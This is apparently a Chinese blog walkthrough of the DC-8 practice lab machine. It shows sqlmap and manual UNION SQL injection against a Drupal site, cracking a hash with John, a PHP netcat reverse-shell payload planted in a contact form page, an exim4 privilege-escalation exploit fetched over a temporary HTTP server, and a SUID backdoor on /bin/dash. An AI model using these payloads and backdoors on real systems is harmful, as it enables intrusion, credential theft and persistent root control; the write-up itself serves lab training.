DC-8

靶机:192.168.56.108

攻击机:192.168.56.1

关键字:SQL注入漏洞,John工具,eixm,SUID后门

探索靶机

DC-8 web主页

网页sql注入漏洞

浏览下网页,关注可能出现漏洞的地方

像这种?nid=1的地方很容易出现sql注入漏洞,一般就是注入引号测试。这里回显报错,那估计可以注入了。

狠一点就直接拿去sqlmap处理

查看所有数据库

sqlmap -u "192.168.56.108/?nid=1" --dbs

这里加一个current-db更好,可以查看当前数据库,好做下一步数据爆破。但这里就两个数据库,肯定是d7db了,直接用就是。

sqlmap -u "192.168.56.108/?nid=1" -D d7db --tables

重点关注users表

sqlmap -u "192.168.56.108/?nid=1" -D d7db -T usrs --columns

这里竟然要用字典爆破方式来搜索表,又耗时又不准确。其实这里并没有什么过滤,我们可以使用union注入来获取数据。

手工注入如下:

我这里已经测试过注入数据类型为数字型

爆出users中所有列名

http://192.168.220.156/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'  --+

 

这里手工注入又快又稳,所以工具有的时候并不是那么好用。(也有可能我没用来)

反正我的经验就是在大多数可以union注入上sqlmap表现并不好。

爆出数据

http://192.168.220.156/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'  --+

使用John破解密码

这里获取了两个用户密码,开头是$S$这种一般是hash加密。

类似常见的加密方式:其中{加密口令}的格式为 $id$salt$encrypted
id为1时,采用md5算法加密
id为5时,采用SHA256算法加密
id为6时,采用SHA512算法加密
salt为盐值,是对密码进行hash的一个干扰值
encrypted为散列值

如存在/etc/shadow中的密码

对于这类密码,可以使用john工具破解,这个工具的大概原理就是先判断加密方式,然后使用字典通过相同的加密方式后与要破解的字符串对比,比对成功则获取到正确密码。这个方式很考验字典的效率。对于弱密码这种方式的破解效率还是很高的。我就把自己的root密码给破解出来了。

使用默认字典爆破

查看结果

这里只破解出来一个用户,john:turtle

登录网站后台

获取到用户密码了向试试ssh能不能连接上

似乎并不允许,那我们只有用这个帐号登录后台页面试试

向爆破下后台页面,我的dirb这次没有连接错误了,但是变得和dirbbuster一样慢了。

打开admin页面没有权限

打开user页面,这里可以登录帐号。网上看到大佬说drupal的默认后台页面就是user,我们不知道的就只有爆破出来了。

成功登录

获取shell

后台页面有个修改页面的功能,我们然靶机反弹一个shell出来

<?php system(' nc 192.168.56.1 9999 -e /bin/bash ');?>

这个页面对应网站的功能应该为contack us,我们只需要启动这个功能应该就能激活我们的php脚本。在网站的contack us模块下我们简单提交一下

在kali上接收这个shell,顺便就把shell外壳换了

提权

以下都是老规矩了

sudo失败后,我们关注以下其它命令。

发现exim4命令,exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限。
查看exim版本,命令:/usr/sbin/exim4 --version

这种命令或者说是程序容易出现提权漏洞,我们搜索下漏洞库。

可能有点严格,我们把4去掉

突然多一大堆,这里找到最合适的

把漏洞拷贝下来,这里有个很好用的参数-m,可以把漏洞直接copy到当前目录

这个文件有两种利用方式,但是我们要先上传到目标服务器上

为了上传文件,先搭建一个临时服务器,使用python可以快速完成这项工作

python -m http.server 8000

在浏览器上打开验证一波

使用wget命令就可以把文件从kali上下载到靶机上了,按照提权脚本要求我这里是切换到tmp目录下操作的

接下来按照提示输入明命就可以了。

执行脚本时显示权限不够

加权限

再次执行还是报错

主要原因是test.sh是在windows下编辑然后上传到linux系统里执行的。.sh文件的格式为dos格式。而linux只能执行格式为unix格式的脚本。

在vim中修改即可

更多关于这方面的问题可以参考大佬的博客

shell脚本报错:-bash: xxx: /bin/bash^M: bad interpreter: No such file or directory

使用setuid方法获取到一个shell,但并不是root权限

试一下方法2,可以提升到root权限,但不太稳定,看到有个解决方案是在root权限时再反弹一个shell,似乎也没有用

获取flag

虽然权限不稳定,但还是可以获取到flag的

利用SUID后门获取稳定权限

前面虽然获取了ROOT权限,拿到flag,但是并不稳定。

我尝试了在使用不稳定的root权限时创建一个root用户,但是最后发现没法切换到新建的用户上。

这里采用SUID后门可以获取一个稳定的root权限,操作如下:
chmod 4755 /bin/dash,给dash设置suid位,然后普通用户就可以使用root权限来执行/bin/dash了

/bin/dash,这里相当于使用这个shell程序

可以看到我们的euid就是有效用户id变成了root用户

这里的shell是不能通过nc反弹出去的

总结:黑客通过网站的sql注入漏洞,成功爆出网站关键用户的数据,虽然网站对用户的密码做了hash加密,但是仍然可以通过john工具破解一些弱口令密码。然后通过破解出来的用户登录到了网站后台。使用该用户可以编辑网站的功能,在网站的关键页面添加了木马脚本,然后成功连接。因为服务器存在eixm的漏洞,被黑客成功提升到root权限,最后通过suid后门稳定了root权限。

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值